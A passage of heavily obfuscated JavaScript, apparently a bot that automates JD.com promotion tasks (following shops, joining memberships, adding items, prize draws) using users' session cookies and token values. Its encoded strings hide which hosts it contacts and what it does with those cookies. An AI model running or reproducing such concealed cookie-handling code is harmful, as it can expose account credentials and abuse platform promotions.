_0xbfef16[_0xb4b4('12f')](_0x171894,_0x1dd4d0);},'XnfGE':_0xbfef16[_0xb4b4('130')],'aXbMA':_0xbfef16[_0xb4b4('131')]};if(_0xbfef16[_0xb4b4('132')](_0xbfef16[_0xb4b4('133')],_0xbfef16[_0xb4b4('133')])){let _0x2b87bf=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('f6')+_0xbfef16[_0xb4b4('134')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f8');$[_0xb4b4('f9')](_0xbfef16[_0xb4b4('135')](taskPostUrl,_0xbfef16[_0xb4b4('136')],_0x2b87bf),async(_0x5f4268,_0x1b40c2,_0xfd9a3d)=>{try{if(_0x5f4268){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x5f4268));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{res=$[_0xb4b4('108')](_0xfd9a3d);if(_0xbfef16[_0xb4b4('137')](typeof res,_0xbfef16[_0xb4b4('138')])){if(_0xbfef16[_0xb4b4('139')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){$[_0xb4b4('a9')]=res[_0xb4b4('10b')][_0xb4b4('36')];$[_0xb4b4('7')](_0xb4b4('13a')+res[_0xb4b4('10b')][_0xb4b4('36')]+'个');}else if(_0xbfef16[_0xb4b4('13b')](typeof res,_0xbfef16[_0xb4b4('138')])&&res[_0xb4b4('11e')]){if(_0xbfef16[_0xb4b4('13c')](_0xbfef16[_0xb4b4('13d')],_0xbfef16[_0xb4b4('13e')])){console[_0xb4b4('7')](''+(res[_0xb4b4('11e')]||''));}else{_0x213e9b[_0xb4b4('13f')](_0x5e6c71);}}else{console[_0xb4b4('7')](_0xfd9a3d);}}else{console[_0xb4b4('7')](_0xfd9a3d);}}}catch(_0x14ba3e){if(_0xbfef16[_0xb4b4('140')](_0xbfef16[_0xb4b4('141')],_0xbfef16[_0xb4b4('142')])){if(_0x213e9b[_0xb4b4('143')](typeof str,_0x213e9b[_0xb4b4('144')])){try{return JSON[_0xb4b4('145')](str);}catch(_0x4656b5){console[_0xb4b4('7')](_0x4656b5);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x213e9b[_0xb4b4('146')]);return[];}}}else{$[_0xb4b4('44')](_0x14ba3e,_0x1b40c2);}}finally{_0xbfef16[_0xb4b4('147')](_0x5e6c71);}});}else{$[_0xb4b4('44')](e,resp);}});}function addSku(){var _0x493ba1={'cgDEV':function(_0x584dcf){return _0x584dcf();},'CxgGy':function(_0x59908b,_0x2f425a){return _0x59908b>_0x2f425a;},'DKZLQ':_0xb4b4('48'),'WcfTC':function(_0x5ee061,_0xfa8a3d){return _0x5ee061+_0xfa8a3d;},'BVgTr':_0xb4b4('49'),'lYOSB':function(_0x1ac27a,_0x4780ef){return _0x1ac27a===_0x4780ef;},'FFqPI':_0xb4b4('148'),'YcYQT':_0xb4b4('149'),'ExFDm':function(_0x13683b,_0x4621bd){return _0x13683b!==_0x4621bd;},'niVHe':_0xb4b4('14a'),'PWsCd':_0xb4b4('14b'),'CSORN':function(_0xecd8da,_0x450cba){return _0xecd8da==_0x450cba;},'QmSgJ':_0xb4b4('4d'),'Sewlv':_0xb4b4('47'),'PjSKR':function(_0x9b07e4,_0x537082){return _0x9b07e4===_0x537082;},'bkdmj':_0xb4b4('14c'),'GdWVu':_0xb4b4('14d'),'ZjdDj':_0xb4b4('14e'),'kMlaK':function(_0x166cc4,_0x2b4019){return _0x166cc4||_0x2b4019;},'PTNUa':_0xb4b4('14f'),'klbKY':function(_0x3137dc,_0x4a0463){return _0x3137dc===_0x4a0463;},'sjKcE':_0xb4b4('150'),'EAVGw':_0xb4b4('151'),'sBpaU':function(_0x216908,_0x31b437){return _0x216908!==_0x31b437;},'lfsic':_0xb4b4('152'),'pUoYJ':_0xb4b4('153'),'uUqCn':_0xb4b4('154'),'DsVSS':function(_0x434d88){return _0x434d88();},'nzmzo':function(_0x13130d,_0x474c04){return _0x13130d(_0x474c04);},'NLMjG':function(_0x4829ee,_0x3f8e25,_0x51d10b){return _0x4829ee(_0x3f8e25,_0x51d10b);},'HBdln':_0xb4b4('155')};return new Promise(_0x5d00e0=>{let _0x2211dc=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x493ba1[_0xb4b4('156')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('157');$[_0xb4b4('f9')](_0x493ba1[_0xb4b4('158')](taskPostUrl,_0x493ba1[_0xb4b4('159')],_0x2211dc),async(_0xf6f944,_0x3a14be,_0x374630)=>{var _0x37ccd7={'ptXbL':function(_0xb1aed3){return _0x493ba1[_0xb4b4('15a')](_0xb1aed3);},'XSZLc':function(_0x2ddff9,_0x54a7fa){return _0x493ba1[_0xb4b4('15b')](_0x2ddff9,_0x54a7fa);},'SNzQt':_0x493ba1[_0xb4b4('15c')],'UdxpZ':function(_0x3854a3,_0x22b0f9){return _0x493ba1[_0xb4b4('15d')](_0x3854a3,_0x22b0f9);},'PDZrF':function(_0x528e84,_0x50cc85){return _0x493ba1[_0xb4b4('15b')](_0x528e84,_0x50cc85);},'rSiHL':_0x493ba1[_0xb4b4('15e')],'HSwvr':function(_0x149bef,_0x302a0c){return _0x493ba1[_0xb4b4('15d')](_0x149bef,_0x302a0c);}};if(_0x493ba1[_0xb4b4('15f')](_0x493ba1[_0xb4b4('160')],_0x493ba1[_0xb4b4('160')])){try{if(_0x493ba1[_0xb4b4('15f')](_0x493ba1[_0xb4b4('161')],_0x493ba1[_0xb4b4('161')])){if(_0xf6f944){if(_0x493ba1[_0xb4b4('162')](_0x493ba1[_0xb4b4('163')],_0x493ba1[_0xb4b4('164')])){if(_0x3a14be[_0xb4b4('100')]&&_0x493ba1[_0xb4b4('165')](_0x3a14be[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x493ba1[_0xb4b4('166')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0xf6f944));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{console[_0xb4b4('7')](_0xb4b4('167')+(res[_0xb4b4('11e')]||''));}}else{res=$[_0xb4b4('108')](_0x374630);if(_0x493ba1[_0xb4b4('165')](typeof res,_0x493ba1[_0xb4b4('168')])){if(_0x493ba1[_0xb4b4('169')](_0x493ba1[_0xb4b4('16a')],_0x493ba1[_0xb4b4('16a')])){if(_0x493ba1[_0xb4b4('169')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){if(_0x493ba1[_0xb4b4('162')](_0x493ba1[_0xb4b4('16b')],_0x493ba1[_0xb4b4('16b')])){$[_0xb4b4('44')](e,_0x3a14be);}else{let _0x5fc7ad='';if(res[_0xb4b4('10b')][_0xb4b4('16c')]){if(_0x493ba1[_0xb4b4('169')](_0x493ba1[_0xb4b4('16d')],_0x493ba1[_0xb4b4('16d')])){_0x5fc7ad=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}else{console[_0xb4b4('7')](_0x374630);}}console[_0xb4b4('7')](_0xb4b4('16e')+_0x493ba1[_0xb4b4('16f')](_0x5fc7ad,_0x493ba1[_0xb4b4('170')]));}}else if(_0x493ba1[_0xb4b4('165')](typeof res,_0x493ba1[_0xb4b4('168')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('171')+(res[_0xb4b4('11e')]||''));}else{if(_0x493ba1[_0xb4b4('172')](_0x493ba1[_0xb4b4('173')],_0x493ba1[_0xb4b4('174')])){console[_0xb4b4('7')](_0xb4b4('171')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x374630);}}}else{if(_0xf6f944){console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0xf6f944));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{if(_0x374630){_0x374630=JSON[_0xb4b4('145')](_0x374630);}}}}else{if(_0x493ba1[_0xb4b4('176')](_0x493ba1[_0xb4b4('177')],_0x493ba1[_0xb4b4('177')])){_0x37ccd7[_0xb4b4('178')](_0x5d00e0);}else{console[_0xb4b4('7')](_0x374630);}}}}else{$[_0xb4b4('44')](e,_0x3a14be);}}catch(_0x4d175a){$[_0xb4b4('44')](_0x4d175a,_0x3a14be);}finally{if(_0x493ba1[_0xb4b4('176')](_0x493ba1[_0xb4b4('179')],_0x493ba1[_0xb4b4('17a')])){_0x493ba1[_0xb4b4('17b')](_0x5d00e0);}else{setcookie=setcookies[_0xb4b4('6b')](',');}}}else{let _0x4d9b5b=ck[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x4d9b5b[_0xb4b4('6b')]('=')[0x1]){if(_0x37ccd7[_0xb4b4('17c')](_0x4d9b5b[_0xb4b4('6e')](_0x37ccd7[_0xb4b4('17d')]),-0x1))LZ_TOKEN_KEY=_0x37ccd7[_0xb4b4('17e')](_0x4d9b5b[_0xb4b4('71')](/ /g,''),';');if(_0x37ccd7[_0xb4b4('17f')](_0x4d9b5b[_0xb4b4('6e')](_0x37ccd7[_0xb4b4('180')]),-0x1))LZ_TOKEN_VALUE=_0x37ccd7[_0xb4b4('181')](_0x4d9b5b[_0xb4b4('71')](/ /g,''),';');}}});});}function followShop(){var _0x28a3df={'VBtPa':function(_0x4c6f07,_0x5993b3){return _0x4c6f07==_0x5993b3;},'FOQnr':_0xb4b4('4d'),'TsRHK':function(_0x54cbc2,_0xb94da5){return _0x54cbc2===_0xb94da5;},'VqVcB':_0xb4b4('182'),'iWLrI':_0xb4b4('183'),'QhnjJ':_0xb4b4('184'),'esyJU':_0xb4b4('185'),'PgUXG':function(_0x3b3d44,_0x515458){return _0x3b3d44==_0x515458;},'nSpDr':function(_0x263f65,_0xd18af3){return _0x263f65!==_0xd18af3;},'eYGwy':_0xb4b4('186'),'yBRFC':function(_0x537b09,_0x99c44f){return _0x537b09==_0x99c44f;},'IFNdS':_0xb4b4('47'),'EnRPH':_0xb4b4('187'),'ZVCxl':function(_0x189d9e,_0x4636fd){return _0x189d9e===_0x4636fd;},'QcAnW':_0xb4b4('188'),'jWJzt':_0xb4b4('189'),'LNbkp':function(_0x50091f,_0x435748){return _0x50091f||_0x435748;},'FTVPE':_0xb4b4('14f'),'nkLYQ':_0xb4b4('18a'),'HVzVv':_0xb4b4('18b'),'OPuUk':function(_0x3254c8,_0x4f8b62){return _0x3254c8===_0x4f8b62;},'fznrY':_0xb4b4('18c'),'Sqlhd':function(_0x39999a){return _0x39999a();},'VtWEm':function(_0x351571,_0x1a415c){return _0x351571!=_0x1a415c;},'LAamA':_0xb4b4('4f'),'ARpTd':_0xb4b4('1a'),'eyZAh':_0xb4b4('18d'),'RDrWC':function(_0x2ad7b1,_0x186c55){return _0x2ad7b1===_0x186c55;},'MMViS':_0xb4b4('18e'),'TbXis':function(_0x45d626,_0x5e9005){return _0x45d626(_0x5e9005);},'sSFlC':function(_0x680113,_0x16b8f4,_0x12a7a0){return _0x680113(_0x16b8f4,_0x12a7a0);},'eOAKd':_0xb4b4('18f')};return new Promise(_0x4afc9d=>{var _0x1ffc48={'MNuih':function(_0x5e28b3,_0x9876c5){return _0x28a3df[_0xb4b4('190')](_0x5e28b3,_0x9876c5);},'YjlLp':_0x28a3df[_0xb4b4('191')],'YsZwK':_0x28a3df[_0xb4b4('192')],'FWKim':_0x28a3df[_0xb4b4('193')]};if(_0x28a3df[_0xb4b4('194')](_0x28a3df[_0xb4b4('195')],_0x28a3df[_0xb4b4('195')])){let _0x42cc82=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x28a3df[_0xb4b4('196')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('34')+$[_0xb4b4('2f')]+_0xb4b4('197');$[_0xb4b4('f9')](_0x28a3df[_0xb4b4('198')](taskPostUrl,_0x28a3df[_0xb4b4('199')],_0x42cc82),async(_0x2d04c9,_0xf7ac80,_0x43f6f1)=>{var _0x167d7a={'NiLhJ':function(_0x10419b,_0x41dfef){return _0x28a3df[_0xb4b4('19a')](_0x10419b,_0x41dfef);},'ffImE':_0x28a3df[_0xb4b4('19b')]};try{if(_0x28a3df[_0xb4b4('19c')](_0x28a3df[_0xb4b4('19d')],_0x28a3df[_0xb4b4('19e')])){if(_0xf7ac80[_0xb4b4('100')]&&_0x167d7a[_0xb4b4('19f')](_0xf7ac80[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x167d7a[_0xb4b4('1a0')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x2d04c9));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('1a1'));}else{if(_0x2d04c9){if(_0x28a3df[_0xb4b4('19c')](_0x28a3df[_0xb4b4('1a2')],_0x28a3df[_0xb4b4('1a3')])){console[_0xb4b4('7')](e);}else{if(_0xf7ac80[_0xb4b4('100')]&&_0x28a3df[_0xb4b4('1a4')](_0xf7ac80[_0xb4b4('100')],0x1ed)){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1a6')],_0x28a3df[_0xb4b4('1a6')])){if(res[_0xb4b4('10b')]&&_0x1ffc48[_0xb4b4('1a7')](typeof res[_0xb4b4('10b')][_0xb4b4('1a8')],_0x1ffc48[_0xb4b4('1a9')]))$[_0xb4b4('5f')]=res[_0xb4b4('10b')][_0xb4b4('1a8')];if(res[_0xb4b4('10b')]&&_0x1ffc48[_0xb4b4('1a7')](typeof res[_0xb4b4('10b')][_0xb4b4('74')],_0x1ffc48[_0xb4b4('1a9')]))$[_0xb4b4('74')]=res[_0xb4b4('10b')][_0xb4b4('74')];}else{console[_0xb4b4('7')](_0x28a3df[_0xb4b4('19b')]);$[_0xb4b4('13')]=!![];}}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x2d04c9));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}}else{res=$[_0xb4b4('108')](_0x43f6f1);if(_0x28a3df[_0xb4b4('1aa')](typeof res,_0x28a3df[_0xb4b4('1ab')])){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1ac')],_0x28a3df[_0xb4b4('1ac')])){console[_0xb4b4('7')](_0x43f6f1);}else{if(_0x28a3df[_0xb4b4('1ad')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1ae')],_0x28a3df[_0xb4b4('1af')])){let _0x274c8e='';if(res[_0xb4b4('10b')][_0xb4b4('16c')]){_0x274c8e=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}if(res[_0xb4b4('10b')][_0xb4b4('123')]&&res[_0xb4b4('10b')][_0xb4b4('1b0')]){_0x274c8e+=_0xb4b4('122')+res[_0xb4b4('10b')][_0xb4b4('123')]+'京豆';}console[_0xb4b4('7')](_0xb4b4('1b1')+_0x28a3df[_0xb4b4('1b2')](_0x274c8e,_0x28a3df[_0xb4b4('1b3')]));}else{console[_0xb4b4('7')](_0x1ffc48[_0xb4b4('1b4')]);}}else if(_0x28a3df[_0xb4b4('1aa')](typeof res,_0x28a3df[_0xb4b4('1ab')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('1b5')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x43f6f1);}}}else{console[_0xb4b4('7')](_0x43f6f1);}}}}catch(_0x2091ab){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1b6')],_0x28a3df[_0xb4b4('1b7')])){$[_0xb4b4('44')](_0x2091ab,_0xf7ac80);}else{console[_0xb4b4('7')](_0x43f6f1);}}finally{if(_0x28a3df[_0xb4b4('1b8')](_0x28a3df[_0xb4b4('1b9')],_0x28a3df[_0xb4b4('1b9')])){_0x28a3df[_0xb4b4('1ba')](_0x4afc9d);}else{console[_0xb4b4('7')](_0x167d7a[_0xb4b4('1a0')]);$[_0xb4b4('13')]=!![];}}});}else{console[_0xb4b4('7')](_0xb4b4('1bb'));console[_0xb4b4('7')](_0xb4b4('1bc')+(readShareCodeRes[_0xb4b4('10b')]&&readShareCodeRes[_0xb4b4('10b')][0x0]||_0x1ffc48[_0xb4b4('1bd')]));$[_0xb4b4('2f')]=readShareCodeRes[_0xb4b4('10b')]&&readShareCodeRes[_0xb4b4('10b')][0x0]||$[_0xb4b4('2f')];}});}function getshopactivityId(_0x3ce5dc){var _0x3a6282={'LYoNn':function(_0x4374ab,_0x59a2cd){return _0x4374ab>_0x59a2cd;},'nEkAY':_0xb4b4('1be'),'EzrMH':function(_0x32be90,_0x2f8b34){return _0x32be90+_0x2f8b34;},'PsMOd':_0xb4b4('48'),'EiJIi':function(_0x24e085,_0x72566a){return _0x24e085+_0x72566a;},'oSBKt':_0xb4b4('49'),'zqNLH':function(_0x332831,_0x148469){return _0x332831===_0x148469;},'wSjNy':_0xb4b4('1bf'),'MdWeC':_0xb4b4('1c0'),'UETwl':function(_0x1480ed,_0x2d4231){return _0x1480ed==_0x2d4231;},'TnOvx':function(_0x3cdf19,_0x821ebf){return _0x3cdf19!==_0x821ebf;},'pvMLb':_0xb4b4('1c1'),'iKoHw':_0xb4b4('1c2'),'ISnOb':function(_0x48b09e){return _0x48b09e();},'HUUzG':function(_0x3906b2,_0xddac0b){return _0x3906b2(_0xddac0b);}};return new Promise(_0x157a3c=>{var _0x4c79bc={'wKBkO':function(_0x8389b8,_0x2e7648){return _0x3a6282[_0xb4b4('1c3')](_0x8389b8,_0x2e7648);},'zmINO':_0x3a6282[_0xb4b4('1c4')],'iXTqU':function(_0x2c61e7,_0x4fcbfa){return _0x3a6282[_0xb4b4('1c5')](_0x2c61e7,_0x4fcbfa);},'cIMXo':_0x3a6282[_0xb4b4('1c6')],'EBYnu':function(_0x11fc38,_0x508aaa){return _0x3a6282[_0xb4b4('1c7')](_0x11fc38,_0x508aaa);},'KQTYp':function(_0x3f19c0,_0x2b5180){return _0x3a6282[_0xb4b4('1c3')](_0x3f19c0,_0x2b5180);},'SCCDh':_0x3a6282[_0xb4b4('1c8')],'YNkJm':function(_0x1b53c8,_0x2a86e9){return _0x3a6282[_0xb4b4('1c7')](_0x1b53c8,_0x2a86e9);},'yJfSe':function(_0x3c3da5,_0x3ef4be){return _0x3a6282[_0xb4b4('1c9')](_0x3c3da5,_0x3ef4be);},'NuewN':_0x3a6282[_0xb4b4('1ca')],'NLzuT':_0x3a6282[_0xb4b4('1cb')],'NjyqV':function(_0x30a664,_0x26c076){return _0x3a6282[_0xb4b4('1cc')](_0x30a664,_0x26c076);},'lTcyo':function(_0x49bf4a,_0x1c8226){return _0x3a6282[_0xb4b4('1cd')](_0x49bf4a,_0x1c8226);},'XmpLm':_0x3a6282[_0xb4b4('1ce')],'eXeEg':function(_0x12dcb1,_0x619280){return _0x3a6282[_0xb4b4('1cd')](_0x12dcb1,_0x619280);},'cYWhB':_0x3a6282[_0xb4b4('1cf')],'aYRvB':function(_0x112704){return _0x3a6282[_0xb4b4('1d0')](_0x112704);}};$[_0xb4b4('1d1')](_0x3a6282[_0xb4b4('1d2')](shopactivityId,''+_0x3ce5dc),async(_0x469d8b,_0x5d1baa,_0x43e075)=>{if(_0x4c79bc[_0xb4b4('1d3')](_0x4c79bc[_0xb4b4('1d4')],_0x4c79bc[_0xb4b4('1d5')])){let _0x3978d1=ck[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x3978d1[_0xb4b4('6b')]('=')[0x1]){if(_0x4c79bc[_0xb4b4('1d6')](_0x3978d1[_0xb4b4('6e')](_0x4c79bc[_0xb4b4('1d7')]),-0x1))lz_jdpin_token=_0x4c79bc[_0xb4b4('1d8')](_0x3978d1[_0xb4b4('71')](/ /g,''),';');if(_0x4c79bc[_0xb4b4('1d6')](_0x3978d1[_0xb4b4('6e')](_0x4c79bc[_0xb4b4('1d9')]),-0x1))LZ_TOKEN_KEY=_0x4c79bc[_0xb4b4('1da')](_0x3978d1[_0xb4b4('71')](/ /g,''),';');if(_0x4c79bc[_0xb4b4('1db')](_0x3978d1[_0xb4b4('6e')](_0x4c79bc[_0xb4b4('1dc')]),-0x1))LZ_TOKEN_VALUE=_0x4c79bc[_0xb4b4('1dd')](_0x3978d1[_0xb4b4('71')](/ /g,''),';');}}else{try{_0x43e075=JSON[_0xb4b4('145')](_0x43e075);if(_0x4c79bc[_0xb4b4('1de')](_0x43e075[_0xb4b4('1df')],!![])){$[_0xb4b4('1e0')]=_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')]&&_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')][0x0]&&_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')][0x0][_0xb4b4('1e2')]&&_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')][0x0][_0xb4b4('1e2')][_0xb4b4('31')]||'';}}catch(_0x4eab33){if(_0x4c79bc[_0xb4b4('1e3')](_0x4c79bc[_0xb4b4('1e4')],_0x4c79bc[_0xb4b4('1e4')])){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x469d8b));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{$[_0xb4b4('44')](_0x4eab33,_0x5d1baa);}}finally{if(_0x4c79bc[_0xb4b4('1e5')](_0x4c79bc[_0xb4b4('1e6')],_0x4c79bc[_0xb4b4('1e6')])){cookiesArr[_0xb4b4('3')](jdCookieNode[item]);}else{_0x4c79bc[_0xb4b4('1e7')](_0x157a3c);}}}});});}function shopactivityId(_0x13e32d){var _0x1aa775={'cWKhq':_0xb4b4('1e8'),'ShtCl':_0xb4b4('1e9'),'qwAXo':_0xb4b4('1ea'),'pHfAq':_0xb4b4('1eb'),'QrxUJ':_0xb4b4('1ec')};return{'url':_0xb4b4('1ed')+_0x13e32d+_0xb4b4('1ee'),'headers':{'Content-Type':_0x1aa775[_0xb4b4('1ef')],'Origin':_0x1aa775[_0xb4b4('1f0')],'Host':_0x1aa775[_0xb4b4('1f1')],'accept':_0x1aa775[_0xb4b4('1f2')],'User-Agent':$['UA'],'content-type':_0x1aa775[_0xb4b4('1f3')],'Referer':_0xb4b4('1f4')+_0x13e32d+_0xb4b4('1f5')+_0x13e32d+_0xb4b4('1f6')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'Cookie':cookie},'timeout':0x7530};}function join(_0x5ee602){var _0x121e66={'qUHRE':_0xb4b4('14'),'gdcnB':function(_0x188d51,_0xb1dc64){return _0x188d51==_0xb1dc64;},'kHFjY':_0xb4b4('47'),'JPAvd':function(_0x3c6c59,_0x54b98b){return _0x3c6c59===_0x54b98b;},'uuLkw':function(_0x2f2564,_0x3c8bc8){return _0x2f2564!==_0x3c8bc8;},'OZCbF':_0xb4b4('1f7'),'bDkKO':_0xb4b4('1f8'),'GzNpd':_0xb4b4('1f9'),'jWmyB':function(_0x207560,_0x1bcfd9){return _0x207560==_0x1bcfd9;},'abFAF':_0xb4b4('1fa'),'CNlYG':_0xb4b4('1fb'),'KgtiI':_0xb4b4('1fc'),'uuqLF':_0xb4b4('1fd'),'QIkkQ':function(_0x33749b){return _0x33749b();},'GCgrc':function(_0x1a343f,_0x2a45a7){return _0x1a343f||_0x2a45a7;},'ZtRFQ':_0xb4b4('1fe'),'uiOEP':function(_0x3ea3f8,_0x2f31ce){return _0x3ea3f8<_0x2f31ce;},'YMRwB':function(_0x1bc6c9,_0x10a7f4){return _0x1bc6c9*_0x10a7f4;},'ucwlu':function(_0x33f4d7,_0x411790){return _0x33f4d7(_0x411790);},'DoYci':function(_0x4cfc2e,_0x1d2729){return _0x4cfc2e(_0x1d2729);}};return new Promise(async _0x336154=>{var _0x870ca2={'gzJDd':function(_0x348c21,_0xbb8e69){return _0x121e66[_0xb4b4('1ff')](_0x348c21,_0xbb8e69);},'YQEzJ':_0x121e66[_0xb4b4('200')],'OrcSW':function(_0x5eea16,_0x236d5f){return _0x121e66[_0xb4b4('201')](_0x5eea16,_0x236d5f);},'hzVZf':function(_0x3ec760,_0x4ef17c){return _0x121e66[_0xb4b4('202')](_0x3ec760,_0x4ef17c);},'oRToT':function(_0x48b3af,_0x18e45b){return _0x121e66[_0xb4b4('203')](_0x48b3af,_0x18e45b);},'ozzsj':function(_0x4824b1,_0x577f91){return _0x121e66[_0xb4b4('204')](_0x4824b1,_0x577f91);},'IOvqz':_0x121e66[_0xb4b4('205')]};$[_0xb4b4('1e0')]='';await $[_0xb4b4('80')](0x3e8);await _0x121e66[_0xb4b4('206')](getshopactivityId,_0x5ee602);$[_0xb4b4('1d1')](_0x121e66[_0xb4b4('207')](ruhui,''+_0x5ee602),async(_0x589b40,_0x499adf,_0x3983ac)=>{var _0x59a88f={'DffFJ':_0x121e66[_0xb4b4('208')]};try{let _0x26f326=$[_0xb4b4('108')](_0x3983ac);if(_0x121e66[_0xb4b4('209')](typeof _0x26f326,_0x121e66[_0xb4b4('205')])){if(_0x121e66[_0xb4b4('203')](_0x26f326[_0xb4b4('1df')],!![])){console[_0xb4b4('7')](_0x26f326[_0xb4b4('20a')]);if(_0x26f326[_0xb4b4('10a')]&&_0x26f326[_0xb4b4('10a')][_0xb4b4('20b')]){if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('20d')],_0x121e66[_0xb4b4('20e')])){for(let _0x229b78 of _0x26f326[_0xb4b4('10a')][_0xb4b4('20b')][_0xb4b4('20f')]){if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('210')],_0x121e66[_0xb4b4('210')])){e=_0x870ca2[_0xb4b4('211')](e,0x20);let _0x55d192=_0x870ca2[_0xb4b4('212')],_0x559982=_0x55d192[_0xb4b4('36')],_0x2a1cd7='';for(_0x229b78=0x0;_0x870ca2[_0xb4b4('213')](_0x229b78,e);_0x229b78++)_0x2a1cd7+=_0x55d192[_0xb4b4('214')](Math[_0xb4b4('215')](_0x870ca2[_0xb4b4('216')](Math[_0xb4b4('8f')](),_0x559982)));return _0x2a1cd7;}else{console[_0xb4b4('7')](_0xb4b4('217')+_0x229b78[_0xb4b4('218')]+_0x229b78[_0xb4b4('219')]+_0x229b78[_0xb4b4('21a')]);}}}else{try{return JSON[_0xb4b4('145')](str);}catch(_0x2c58b6){console[_0xb4b4('7')](_0x2c58b6);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x59a88f[_0xb4b4('21b')]);return[];}}}}else if(_0x121e66[_0xb4b4('204')](typeof _0x26f326,_0x121e66[_0xb4b4('205')])&&_0x26f326[_0xb4b4('20a')]){if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('21c')],_0x121e66[_0xb4b4('21d')])){console[_0xb4b4('7')](''+(_0x26f326[_0xb4b4('20a')]||''));}else{if(_0x870ca2[_0xb4b4('21e')](_0x26f326[_0xb4b4('10a')],!![])&&_0x26f326[_0xb4b4('10b')]){$[_0xb4b4('a9')]=_0x26f326[_0xb4b4('10b')][_0xb4b4('36')];$[_0xb4b4('7')](_0xb4b4('13a')+_0x26f326[_0xb4b4('10b')][_0xb4b4('36')]+'个');}else if(_0x870ca2[_0xb4b4('21f')](typeof _0x26f326,_0x870ca2[_0xb4b4('220')])&&_0x26f326[_0xb4b4('11e')]){console[_0xb4b4('7')](''+(_0x26f326[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x3983ac);}}}else{if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('221')],_0x121e66[_0xb4b4('222')])){console[_0xb4b4('7')](_0x3983ac);}else{console[_0xb4b4('7')](_0x3983ac);}}}else{console[_0xb4b4('7')](_0x3983ac);}}catch(_0x2156d0){$[_0xb4b4('44')](_0x2156d0,_0x499adf);}finally{_0x121e66[_0xb4b4('223')](_0x336154);}});});}function ruhui(_0x249eda){var _0x863032={'NEwNQ':_0xb4b4('1e8'),'BOwry':_0xb4b4('1e9'),'miEyG':_0xb4b4('1ea'),'AHfQm':_0xb4b4('1eb'),'sUQWq':_0xb4b4('1ec')};let _0x2155a9='';if($[_0xb4b4('1e0')])_0x2155a9=_0xb4b4('224')+$[_0xb4b4('1e0')];return{'url':_0xb4b4('225')+_0x249eda+_0xb4b4('226')+_0x249eda+_0xb4b4('227')+_0x2155a9+_0xb4b4('228'),'headers':{'Content-Type':_0x863032[_0xb4b4('229')],'Origin':_0x863032[_0xb4b4('22a')],'Host':_0x863032[_0xb4b4('22b')],'accept':_0x863032[_0xb4b4('22c')],'User-Agent':$['UA'],'content-type':_0x863032[_0xb4b4('22d')],'Referer':_0xb4b4('1f4')+_0x249eda+_0xb4b4('1f5')+_0x249eda+_0xb4b4('1f6')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'Cookie':cookie},'timeout':0x7530};}function startDraw(_0x2720c9){var _0x2c09b1={'WKVct':function(_0x4cece5){return _0x4cece5();},'xnWPo':function(_0x59fbba,_0x51ea76){return _0x59fbba!==_0x51ea76;},'EXQCP':_0xb4b4('22e'),'WoLWy':_0xb4b4('22f'),'Jljwp':function(_0x225d30,_0x40f44d){return _0x225d30===_0x40f44d;},'Ecaag':_0xb4b4('230'),'tiNtE':_0xb4b4('231'),'rNsbA':function(_0x14ce6f,_0x5543cd){return 